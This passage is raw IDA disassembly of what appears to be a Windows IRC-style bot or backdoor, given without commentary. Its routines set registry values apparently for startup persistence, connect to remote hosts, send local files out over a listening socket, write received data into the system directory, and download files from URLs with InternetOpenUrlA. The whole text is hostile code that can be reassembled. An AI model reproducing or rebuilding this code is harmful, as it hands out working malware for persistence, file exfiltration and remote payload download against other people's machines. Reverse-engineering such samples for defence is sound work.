		lea	eax, [ebp+var_31C]
		push	offset dword_42BAA4
		push	eax
		call	sub_415316
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_10], esi
		pop	ecx
		jnz	short loc_40B29A
		push	esi
		lea	eax, [ebp+var_31C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_118]
		push	eax
		push	[ebp+var_11C]
		call	sub_412BD1
		add	esp, 14h


loc_40B29A:				; CODE XREF: sub_40B18A+EEj
		lea	eax, [ebp+var_31C]
		push	eax
		call	sub_40B078
		push	[ebp+var_18]
		call	sub_4150F0
		pop	ecx
		pop	ecx
		push	esi
		call	dword_421048	; ExitThread
		pop	edi
		pop	esi
sub_40B18A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B2B9	proc near		; CODE XREF: sub_409D34+1Ep
					; sub_40C574+341p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		xor	esi, esi
		mov	ebx, offset dword_42C2D4


loc_40B2C9:				; CODE XREF: sub_40B2B9+6Aj
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		push	edi
		push	0F003Fh
		push	edi
		push	edi
		push	edi
		push	off_42BAFC[esi]
		push	dword_42BAF8[esi]
		call	dword_43C9D8	; RegCreateKeyExA
		cmp	[ebp+arg_0], edi
		jz	short loc_40B30A
		push	[ebp+arg_0]
		call	sub_415B10
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	edi
		push	ebx
		push	[ebp+var_4]
		call	dword_43CA48	; RegSetValueExA
		jmp	short loc_40B314
; ---------------------------------------------------------------------------


loc_40B30A:				; CODE XREF: sub_40B2B9+33j
		push	ebx
		push	[ebp+var_4]
		call	dword_43C990	; RegDeleteValueA


loc_40B314:				; CODE XREF: sub_40B2B9+4Fj
		push	[ebp+var_4]
		call	dword_43CA00	; RegCloseKey
		add	esi, 8
		cmp	esi, 18h
		jb	short loc_40B2C9
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B2B9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B32A	proc near		; CODE XREF: sub_40B363+54p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		or	esi, 0FFFFFFFFh
		test	edi, edi
		jz	short loc_40B35C
		mov	ecx, 0FFh
		push	ebx


loc_40B341:				; CODE XREF: sub_40B32A+2Fj
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_421260[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_40B341
		pop	ebx


loc_40B35C:				; CODE XREF: sub_40B32A+Fj
		mov	eax, esi
		pop	edi
		not	eax
		pop	esi
		retn
sub_40B32A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B363	proc near		; CODE XREF: sub_40BBF7+23Fp

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_415BE9
		mov	[esp+10h+var_10], offset aRb ; "rb"
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_415A08
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jnz	short loc_40B3AE


loc_40B388:				; CODE XREF: sub_40B363+37j
		xor	eax, eax
		jmp	short loc_40B3CF
; ---------------------------------------------------------------------------


loc_40B38C:				; CODE XREF: sub_40B363+4Fj
		inc	ebx
		push	ebx
		push	esi
		call	sub_41737F
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40B388
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_416A57
		add	esp, 10h


loc_40B3AE:				; CODE XREF: sub_40B363+23j
		test	byte ptr [edi+0Ch], 10h
		jz	short loc_40B38C
		dec	ebx
		push	ebx
		push	esi
		call	sub_40B32A
		push	esi
		mov	ebx, eax
		call	sub_415C9B
		push	edi
		call	sub_415960
		add	esp, 10h
		mov	eax, ebx


loc_40B3CF:				; CODE XREF: sub_40B363+27j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40B363	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B3D3	proc near		; CODE XREF: sub_40B459+33p
					; sub_40B9BC+BCp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_43CAA4	; socket
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_40B44F
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_415390
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_43CA24	; ntohs
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_43CA64	; inet_addr
		cmp	eax, esi
		jnz	short loc_40B434
		push	[ebp+arg_0]
		call	dword_43CAA8	; gethostbyname
		test	eax, eax
		jz	short loc_40B44F
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_40B434:				; CODE XREF: sub_40B3D3+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_43C9CC	; connect
		cmp	eax, esi
		jnz	short loc_40B453
		push	edi
		call	dword_43CABC	; closesocket


loc_40B44F:				; CODE XREF: sub_40B3D3+1Bj
					; sub_40B3D3+58j
		mov	eax, esi
		jmp	short loc_40B455
; ---------------------------------------------------------------------------


loc_40B453:				; CODE XREF: sub_40B3D3+73j
		mov	eax, edi


loc_40B455:				; CODE XREF: sub_40B3D3+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_40B3D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B459	proc near		; DATA XREF: sub_40CD3A+A26o

var_11B4	= byte ptr -11B4h
var_1B4		= byte ptr -1B4h
var_1AC		= byte ptr -1ACh
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 11B4h
		call	sub_415B90
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1B4]
		rep movsd
		push	[ebp+var_14]
		xor	esi, esi
		inc	esi
		mov	[eax+1B0h], esi
		lea	eax, [ebp+var_1AC]
		push	eax
		call	sub_40B3D3
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_40B4EC
		lea	eax, [ebp+var_11B4]
		push	offset dword_42BB9C
		push	eax
		call	sub_415316
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_8], edi
		pop	ecx
		jnz	short loc_40B4CF
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_412BD1
		add	esp, 14h


loc_40B4CF:				; CODE XREF: sub_40B459+59j
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40B078
		push	[ebp+var_10]
		call	sub_4150F0
		pop	ecx
		pop	ecx
		push	esi
		call	dword_421048	; ExitThread


loc_40B4EC:				; CODE XREF: sub_40B459+3Fj
		push	offset byte_43B658
		push	ebx
		call	sub_40A71A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_40B557
		lea	eax, [ebp+var_11B4]
		push	offset dword_42BB58
		push	eax
		call	sub_415316
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_8], edi
		pop	ecx
		jnz	short loc_40B533
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_412BD1
		add	esp, 14h


loc_40B533:				; CODE XREF: sub_40B459+BDj
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40B078
		pop	ecx
		push	ebx
		call	dword_43CABC	; closesocket
		push	[ebp+var_10]
		call	sub_4150F0
		pop	ecx
		push	esi
		call	dword_421048	; ExitThread


loc_40B557:				; CODE XREF: sub_40B459+A3j
		push	64h
		call	dword_421060	; Sleep
		xor	edi, edi
		mov	esi, 1000h


loc_40B566:				; CODE XREF: sub_40B459+168j
		push	esi
		lea	eax, [ebp+var_11B4]
		push	edi
		push	eax
		call	sub_415390
		add	esp, 0Ch
		lea	eax, [ebp+var_11B4]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_43CA3C	; recv
		test	eax, eax
		jle	short loc_40B5C3
		lea	eax, [ebp+var_11B4]
		push	offset asc_426CF0 ; "\n"
		push	eax
		call	sub_415A30
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40A506
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40B5C3
		push	64h
		call	dword_421060	; Sleep
		push	7
		call	sub_41501C
		test	eax, eax
		pop	ecx
		jnz	short loc_40B566


loc_40B5C3:				; CODE XREF: sub_40B459+130j
					; sub_40B459+154j
		lea	eax, [ebp+var_11B4]
		push	offset dword_42BB10
		push	eax
		call	sub_415316
		cmp	[ebp+var_8], edi
		pop	ecx
		pop	ecx
		jnz	short loc_40B5F6
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_412BD1
		add	esp, 14h


loc_40B5F6:				; CODE XREF: sub_40B459+180j
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40B078
		pop	ecx
		push	ebx
		call	dword_43CABC	; closesocket
		push	[ebp+var_10]
		call	sub_4150F0
		pop	ecx
		push	edi
		call	dword_421048	; ExitThread
sub_40B459	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B61A	proc near		; DATA XREF: sub_40CD3A+46A9o

var_A04		= byte ptr -0A04h
var_604		= byte ptr -604h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_3FC		= byte ptr -3FCh
var_1FC		= dword	ptr -1FCh
var_1F8		= dword	ptr -1F8h
var_1E0		= byte ptr -1E0h
var_DC		= byte ptr -0DCh
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_48		= byte ptr -48h
var_44		= dword	ptr -44h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1FC]
		rep movsd
		xor	ebx, ebx
		xor	esi, esi
		inc	ebx
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp+var_10], esi
		mov	[ebp+var_C], esi
		mov	[ebp+var_20], esi
		call	dword_43CAA4	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_18], edi
		jnz	short loc_40B668
		push	offset dword_42BD3C
		jmp	loc_40B821
; ---------------------------------------------------------------------------


loc_40B668:				; CODE XREF: sub_40B61A+42j
		push	10h
		lea	eax, [ebp+var_30]
		push	esi
		push	eax
		call	sub_415390
		add	esp, 0Ch
		mov	[ebp+var_30], 2
		push	esi
		call	dword_43CA24	; ntohs
		mov	word ptr [ebp+var_2E], ax
		lea	eax, [ebp+var_30]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_2E+2],	esi
		call	dword_43CA50	; bind
		test	eax, eax
		jz	short loc_40B6A6
		push	offset dword_42BD04
		jmp	loc_40B821
; ---------------------------------------------------------------------------


loc_40B6A6:				; CODE XREF: sub_40B61A+80j
		lea	eax, [ebp+var_1C]
		mov	[ebp+var_1C], 10h
		push	eax
		lea	eax, [ebp+var_30]
		push	eax
		push	edi
		call	dword_43C9C8	; getsockname
		push	[ebp+var_2E]
		call	dword_43C960	; ntohs
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_1E0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_415B10
		pop	ecx


loc_40B6D8:				; CODE XREF: sub_40B61A+EFj
		mov	ecx, [ebp+arg_0]
		mov	al, [ebp+ecx+var_1E0]
		cmp	al, 20h
		jnz	short loc_40B6EB
		push	5Fh
		pop	eax
		jmp	short loc_40B6EE
; ---------------------------------------------------------------------------


loc_40B6EB:				; CODE XREF: sub_40B61A+CAj
		movsx	eax, al


loc_40B6EE:				; CODE XREF: sub_40B61A+CFj
		mov	[ebp+ecx+var_604], al
		lea	eax, [ebp+var_1E0]
		inc	ecx
		push	eax
		mov	[ebp+arg_0], ecx
		call	sub_415B10
		cmp	[ebp+arg_0], eax
		pop	ecx
		jbe	short loc_40B6D8
		push	ebx
		push	edi
		call	dword_43CA4C	; listen
		test	eax, eax
		jz	short loc_40B721
		push	offset dword_42BB9C
		jmp	loc_40B821
; ---------------------------------------------------------------------------


loc_40B721:				; CODE XREF: sub_40B61A+FBj
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp+var_1E0]
		push	80000000h
		push	eax
		call	dword_421078	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_40B74B
		push	offset dword_42BCD0
		jmp	loc_40B821
; ---------------------------------------------------------------------------


loc_40B74B:				; CODE XREF: sub_40B61A+125j
		push	esi
		push	eax
		call	dword_421090	; GetFileSize
		mov	[ebp+arg_0], eax
		push	eax
		movzx	eax, word ptr [ebp+var_4]
		push	eax
		push	[ebp+var_1FC]
		call	sub_40A08A
		pop	ecx
		push	eax
		call	dword_43CA64	; inet_addr
		push	eax
		call	dword_43CA20	; ntohl
		push	eax
		lea	eax, [ebp+var_1E0]
		push	eax
		lea	eax, [ebp+var_3FC]
		push	offset dword_42BCB8
		push	eax
		call	sub_415316
		push	esi
		lea	eax, [ebp+var_3FC]
		push	esi
		push	eax
		lea	eax, [ebp+var_DC]
		push	eax
		push	[ebp+var_1FC]
		call	sub_412BD1
		add	esp, 2Ch
		lea	eax, [ebp+var_38]
		mov	[ebp+var_38], 3Ch
		mov	[ebp+var_34], esi
		push	eax
		push	esi
		lea	eax, [ebp+var_500]
		push	esi
		push	eax
		push	esi
		mov	[ebp+var_4FC], edi
		mov	[ebp+var_500], ebx
		call	dword_43CA0C	; select
		test	eax, eax
		jg	short loc_40B7FB
		push	esi
		lea	eax, [ebp+var_DC]
		push	[ebp+var_54]
		push	offset dword_42BC8C
		push	eax
		push	[ebp+var_1FC]
		call	sub_412BD1
		jmp	loc_40B91F
; ---------------------------------------------------------------------------


loc_40B7FB:				; CODE XREF: sub_40B61A+1BFj
		lea	eax, [ebp+var_14]
		mov	[ebp+var_14], 10h
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		push	edi
		call	dword_43CAB8	; accept
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_1F8], eax
		jnz	short loc_40B834
		push	offset dword_42BC54


loc_40B821:				; CODE XREF: sub_40B61A+49j
					; sub_40B61A+87j ...
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_415316
		pop	ecx
		pop	ecx
		jmp	loc_40B922
; ---------------------------------------------------------------------------


loc_40B834:				; CODE XREF: sub_40B61A+200j
		push	edi
		call	dword_43CABC	; closesocket
		cmp	[ebp+arg_0], esi
		jz	loc_40B8E6
		mov	edi, 400h


loc_40B849:				; CODE XREF: sub_40B61A+2C3j
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		cmp	eax, edi
		jge	short loc_40B856
		mov	[ebp+var_4], eax


loc_40B856:				; CODE XREF: sub_40B61A+237j
		push	edi
		lea	eax, [ebp+var_A04]
		push	esi
		push	eax
		call	sub_415390
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	[ebp+var_8]
		call	dword_4210AC	; SetFilePointer
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		lea	eax, [ebp+var_A04]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8]
		call	dword_421068	; ReadFile
		push	esi
		lea	eax, [ebp+var_A04]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_1F8]
		call	dword_43CA74	; send
		mov	[ebp+var_4], eax
		push	esi
		cdq
		add	[ebp+var_10], eax
		lea	eax, [ebp+var_A04]
		push	edi
		push	eax
		push	[ebp+var_1F8]
		adc	[ebp+var_C], edx
		call	dword_43CA3C	; recv
		cmp	eax, ebx
		jl	loc_40B97B
		mov	eax, [ebp+var_4]
		cmp	eax, ebx
		jl	loc_40B97B
		sub	[ebp+arg_0], eax
		jnz	loc_40B849
		mov	edi, [ebp+var_18]


loc_40B8E6:				; CODE XREF: sub_40B61A+224j
		push	[ebp+var_8]
		call	dword_42106C	; CloseHandle
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_40C10D
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1E0]
		push	eax
		push	[ebp+var_44]
		call	dword_43CAB0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_3FC]
		push	offset dword_42BC00
		push	eax
		call	sub_415316


loc_40B91F:				; CODE XREF: sub_40B61A+1DCj
		add	esp, 14h


loc_40B922:				; CODE XREF: sub_40B61A+215j
		cmp	[ebp+var_50], esi
		jnz	short loc_40B947
		push	esi
		lea	eax, [ebp+var_3FC]
		push	[ebp+var_54]
		push	eax
		lea	eax, [ebp+var_DC]
		push	eax
		push	[ebp+var_1FC]
		call	sub_412BD1
		add	esp, 14h


loc_40B947:				; CODE XREF: sub_40B61A+30Bj
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_40B078
		cmp	edi, esi
		pop	ecx
		jbe	short loc_40B95F
		push	edi
		call	dword_43CABC	; closesocket


loc_40B95F:				; CODE XREF: sub_40B61A+33Cj
		push	[ebp+var_1F8]
		call	dword_43CABC	; closesocket
		push	[ebp+var_58]
		call	sub_4150F0
		pop	ecx
		push	esi
		call	dword_421048	; ExitThread


loc_40B97B:				; CODE XREF: sub_40B61A+2AFj
					; sub_40B61A+2BAj
		push	esi
		mov	esi, offset dword_42BBD4
		push	[ebp+var_54]
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	[ebp+var_1FC]
		call	sub_412BD1
		push	esi
		call	sub_40B078
		add	esp, 18h
		push	[ebp+var_1F8]
		call	dword_43CABC	; closesocket
		push	[ebp+var_58]
		call	sub_4150F0
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread
sub_40B61A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B9BC	proc near		; DATA XREF: sub_40CD3A+77Co

var_14C4	= byte ptr -14C4h
var_4C4		= byte ptr -4C4h
var_2C4		= byte ptr -2C4h
var_1C0		= dword	ptr -1C0h
var_1B8		= byte ptr -1B8h
var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_415B90
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1C0]
		rep movsd
		xor	esi, esi
		xor	ebx, ebx
		inc	esi
		push	104h
		mov	[eax+1B0h], esi
		lea	eax, [ebp+var_2C4]
		push	eax
		mov	[ebp+var_8], ebx
		call	dword_421058	; GetSystemDirectoryA
		lea	eax, [ebp+var_1A4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aSS_2	; "%s%s"
		push	eax
		call	sub_415316
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		call	dword_421078	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40BA46
		push	offset dword_42BE48
		jmp	short loc_40BA8C
; ---------------------------------------------------------------------------


loc_40BA46:				; CODE XREF: sub_40B9BC+81j
		push	eax
		call	dword_42106C	; CloseHandle
		lea	eax, [ebp+var_2C4]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_415A08
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jnz	short loc_40BA6E
		push	offset dword_42BE04
		jmp	short loc_40BA8C
; ---------------------------------------------------------------------------


loc_40BA6E:				; CODE XREF: sub_40B9BC+A9j
		push	[ebp+var_20]
		lea	eax, [ebp+var_1B8]
		push	eax
		call	sub_40B3D3
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+arg_0], eax
		jnz	short loc_40BA9F
		push	offset dword_42BDD0


loc_40BA8C:				; CODE XREF: sub_40B9BC+88j
					; sub_40B9BC+B0j
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_415316
		pop	ecx
		pop	ecx
		jmp	loc_40BB99
; ---------------------------------------------------------------------------


loc_40BA9F:				; CODE XREF: sub_40B9BC+C9j
		mov	esi, 1000h


loc_40BAA4:				; CODE XREF: sub_40B9BC+14Ej
		push	esi
		lea	eax, [ebp+var_14C4]
		push	ebx
		push	eax
		call	sub_415390
		add	esp, 0Ch
		lea	eax, [ebp+var_14C4]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_43CA3C	; recv
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40BB6B
		cmp	edi, 0FFFFFFFFh
		jz	short loc_40BB0C
		push	[ebp+var_4]
		lea	eax, [ebp+var_14C4]
		push	edi
		push	1
		push	eax
		call	sub_41761F
		add	[ebp+var_8], edi
		add	esp, 10h
		push	[ebp+var_8]
		call	dword_43CA20	; ntohl
		mov	[ebp+var_C], eax
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_43CA74	; send
		jmp	short loc_40BAA4
; ---------------------------------------------------------------------------


loc_40BB0C:				; CODE XREF: sub_40B9BC+118j
		lea	eax, [ebp+var_4C4]
		push	offset dword_42BBD4
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_4C4]
		push	[ebp+var_18]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_1C0]
		call	sub_412BD1
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_40B078
		push	[ebp+var_4]
		call	sub_415960
		add	esp, 24h
		push	[ebp+arg_0]
		call	dword_43CABC	; closesocket
		push	[ebp+var_1C]
		call	sub_4150F0
		pop	ecx
		push	1
		call	dword_421048	; ExitThread


loc_40BB6B:				; CODE XREF: sub_40B9BC+10Fj
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_40C10D
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	offset dword_42BD78
		push	eax
		call	sub_415316
		add	esp, 1Ch


loc_40BB99:				; CODE XREF: sub_40B9BC+DEj
		cmp	[ebp+var_14], ebx
		jnz	short loc_40BBBE
		push	ebx
		lea	eax, [ebp+var_4C4]
		push	[ebp+var_18]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_1C0]
		call	sub_412BD1
		add	esp, 14h


loc_40BBBE:				; CODE XREF: sub_40B9BC+1E0j
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_40B078
		cmp	[ebp+var_4], ebx
		pop	ecx
		jz	short loc_40BBD9
		push	[ebp+var_4]
		call	sub_415960
		pop	ecx


loc_40BBD9:				; CODE XREF: sub_40B9BC+212j
		cmp	[ebp+arg_0], ebx
		jbe	short loc_40BBE7
		push	[ebp+arg_0]
		call	dword_43CABC	; closesocket


loc_40BBE7:				; CODE XREF: sub_40B9BC+220j
		push	[ebp+var_1C]
		call	sub_4150F0
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread
sub_40B9BC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BBF7	proc near		; DATA XREF: sub_40CD3A+3646o
					; sub_40CD3A+3DA2o

var_590		= qword	ptr -590h
var_584		= qword	ptr -584h
var_510		= byte ptr -510h
var_310		= dword	ptr -310h
var_304		= dword	ptr -304h
var_2E4		= dword	ptr -2E4h
var_2E0		= word ptr -2E0h
var_2CC		= dword	ptr -2CCh
var_2C8		= byte ptr -2C8h
var_248		= byte ptr -248h
var_148		= byte ptr -148h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp+var_2CC]
		rep movsd
		xor	edi, edi
		xor	esi, esi
		inc	edi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		push	dword_43C9D4
		call	dword_43C934	; InternetOpenUrlA
		cmp	eax, esi
		mov	[ebp+var_18], eax
		jz	loc_40C070
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp+var_148]
		push	40000000h
		push	eax
		call	dword_421078	; CreateFileA
		cmp	eax, edi
		mov	[ebp+var_20], eax
		jnb	short loc_40BCBE
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_510]
		push	offset unk_42C114
		push	eax
		call	sub_415316
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40BCA1
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_412BD1
		add	esp, 14h


loc_40BCA1:				; CODE XREF: sub_40BBF7+88j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40B078
		push	[ebp+var_48]
		call	sub_4150F0
		pop	ecx
		pop	ecx
		push	esi
		call	dword_421048	; ExitThread


loc_40BCBE:				; CODE XREF: sub_40BBF7+68j
		xor	edi, edi
		call	dword_42104C	; GetTickCount
		mov	ebx, 7D000h
		mov	dword ptr [ebp+var_8+4], eax
		push	ebx
		call	sub_415BE9
		pop	ecx
		mov	[ebp+var_1C], eax


loc_40BCD8:				; CODE XREF: sub_40BBF7+1A9j
		push	200h
		lea	eax, [ebp+var_510]
		push	esi
		push	eax
		call	sub_415390
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_510]
		push	200h
		push	eax
		push	[ebp+var_18]
		call	dword_43C93C	; InternetReadFile
		cmp	[ebp+var_34], esi
		jz	short loc_40BD1C
		push	[ebp+arg_0]
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40C0D6
		pop	ecx
		pop	ecx


loc_40BD1C:				; CODE XREF: sub_40BBF7+112j
		lea	eax, [ebp+var_24]
		push	esi
		push	eax
		lea	eax, [ebp+var_510]
		push	[ebp+arg_0]
		push	eax
		push	[ebp+var_20]
		call	dword_421070	; WriteFile
		cmp	edi, ebx
		jnb	short loc_40BD5A
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+arg_0]
		jbe	short loc_40BD44
		mov	eax, [ebp+arg_0]


loc_40BD44:				; CODE XREF: sub_40BBF7+148j
		push	eax
		lea	eax, [ebp+var_510]
		push	eax
		mov	eax, [ebp+var_1C]
		add	eax, edi
		push	eax
		call	sub_4153F0
		add	esp, 0Ch


loc_40BD5A:				; CODE XREF: sub_40BBF7+13Fj
		add	edi, [ebp+arg_0]
		cmp	[ebp+var_3C], esi
		jz	short loc_40BD67
		cmp	edi, [ebp+var_3C]
		ja	short loc_40BDA6


loc_40BD67:				; CODE XREF: sub_40BBF7+169j
		mov	eax, edi
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		mov	eax, [ebp+var_48]
		imul	eax, 234h
		add	eax, offset dword_441998
		cmp	[ebp+var_44], 1
		jz	short loc_40BD8F
		push	offset unk_42C0C8
		jmp	short loc_40BD94
; ---------------------------------------------------------------------------


loc_40BD8F:				; CODE XREF: sub_40BBF7+18Fj
		push	offset unk_42C080


